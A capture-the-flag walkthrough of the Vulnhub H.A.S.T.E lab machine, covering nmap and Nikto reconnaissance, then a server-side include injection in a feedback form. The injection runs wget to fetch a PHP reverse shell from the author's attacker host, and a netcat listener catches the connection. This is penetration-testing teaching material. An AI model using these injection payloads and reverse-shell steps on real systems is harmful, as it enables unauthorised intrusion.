Vulnhub H.A.S.T.E Walkthrough


This time up…H.A.S.T.E from Vulnhub, courtesy of Security Shards. Let’s check it out…

Our nmap scan shows…

root@kali:~/vulnhub/haste# cat haste.nmap 
# Nmap 7.60 scan initiated Sat Nov 11 21:42:38 2017 as: nmap -sS -sV -oA haste 172.16.115.140
Nmap scan report for 172.16.115.140
Host is up (0.00052s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 00:0C:29:95:AE:28 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 11 21:42:46 2017 -- 1 IP address (1 host up) scanned in 8.56 seconds

Alright…simple enough. If we hit the main page, we see a form at the bottom to submit sites to be attacked. “Cybernetic justice for the ether.” – sounds like a tagline straight out of a marketing brochure! But let’s continue…

I tried some SQL injections…but nothing stuck. Let’s see what Nikto says.

root@kali:~/vulnhub/haste# nikto -host 172.16.115.140
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          172.16.115.140
+ Target Hostname:    172.16.115.140
+ Target Port:        80
+ Start Time:         2017-11-13 22:02:49 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x21 0x558f43773c4bf 
+ OSVDB-3268: /spukcab/: Directory indexing found.
+ Entry '/spukcab/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.shtml
+ Multiple index files found: /index.php, /index.shtml
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3268: /pages/: Directory indexing found.
+ OSVDB-3092: /pages/: This might be interesting...
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8347 requests: 0 error(s) and 16 item(s) reported on remote host
+ End Time:           2017-11-13 22:03:04 (GMT-5) (15 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

A few interesting items. Let’s investigate.

/pages yields nothing interesting. What’s /spukcab ?

Ahh…I see what they did there. Nothing of interest really in either two of those files for the most part. Going back to the Nikto output, I noticed this, which I hadn’t noticed originally.

“+ Multiple index files found: /index.php, /index.shtml” Hmmm.

/index.php reveals the default homepage with the hackers straight out of a CNN clip, hoodies and all. But…/index.shtml yields something slightly more juicy.

Ignore the fact that I referred to it as juicy. This is a pretty good hint that the box is vulnerable to server side injection, as is the /ssi page that GoBuster uncovered.

So…how can we use this newly-found information? Well, let’s start poking the form on the main page.

First, I tried it exactly as show, with no success. Then, after taking a lesson out of here:

We find that capitalizing the EXEC part of the command works, and we get a response from the server (along with more hackers in hoodies)

Excellent, or should I say EXECellent. No…I probably shouldn’t. Anyhow, we can confirm that we have OS command execution via the webform, and can use that to our advantage. There are many ways we could get a reverse shell here. I originally tried getting a shell back using netcat, but for some reason, it failed when I passed it  “-e /bin/sh”

Ok…well, let’s move on. I grabbed a php reverse shell found here: http://pentestmonkey.net/tools/web-shells/php-reverse-shell (an excellent site by the way, if you’re not already familiar with it) and was able to upload it to the box. You need to modify the $ip variable to your attacking box IP, but other than that, you should be all set.

On Kali, I used SimpleHTTPserver to serve up the PHP file, and download it to the host using the command injection vulnerability.

On Kali, we fire up our SimpleHTTPServer

root@kali:~/vulnhub/haste# locate SimpleHTTP*
/usr/lib/python2.7/SimpleHTTPServer.py
root@kali:~/vulnhub/haste# python /usr/lib/python2.7/SimpleHTTPServer.py 80
Serving HTTP on 0.0.0.0 port 80 ...

On HASTE, in the textbox for “Feedback,” we use the following command injection string, and submit the form.

<!--#EXEC cmd="wget 172.16.115.131/shell.php"-->

Back on Kali we see:

root@kali:~/vulnhub/haste# python /usr/lib/python2.7/SimpleHTTPServer.py 80
Serving HTTP on 0.0.0.0 port 80 ...
172.16.115.140 - - [13/Nov/2017 22:41:10] "GET /shell.php HTTP/1.1" 200 -

Great…now the shell should be in the root directory of the HASTE website. We can check this if we want using the command injection as well by using <!–#EXEC cmd=”ls -lah”–> in the Feedback textbox.

 

So now that we’ve uploaded our shell, let’s get connected, shall we?

On Kali, first we set up a netcat listener, then in another terminal, we can curl our way to the shell’s location:

#First terminal
root@kali:~/vulnhub/haste# nc -nvlp 80
listening on [any] 80 ...

#Second terminal
root@kali:~/vulnhub/haste# curl 172.16.115.140/shell.php

#Back in the first terminal
root@kali:~/vulnhub/haste# nc -nvlp 80
listening on [any] 80 ...
connect to [172.16.115.131] from (UNKNOWN) [172.16.115.140] 58208
Linux ConverterPlus 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:13 UTC 2017 i686 i686 i686 GNU/Linux
 19:11:34 up 1 day,  1:43,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

And now we’re on the box. According to the creator, rooting this machine is not part of the challenge, only getting a shell. It was a fairly recent kernel, and I was not able to find any other method of escalating privileges. All in all, a good machine to show you what is possible when you are able to obtain command/server side injection on a host.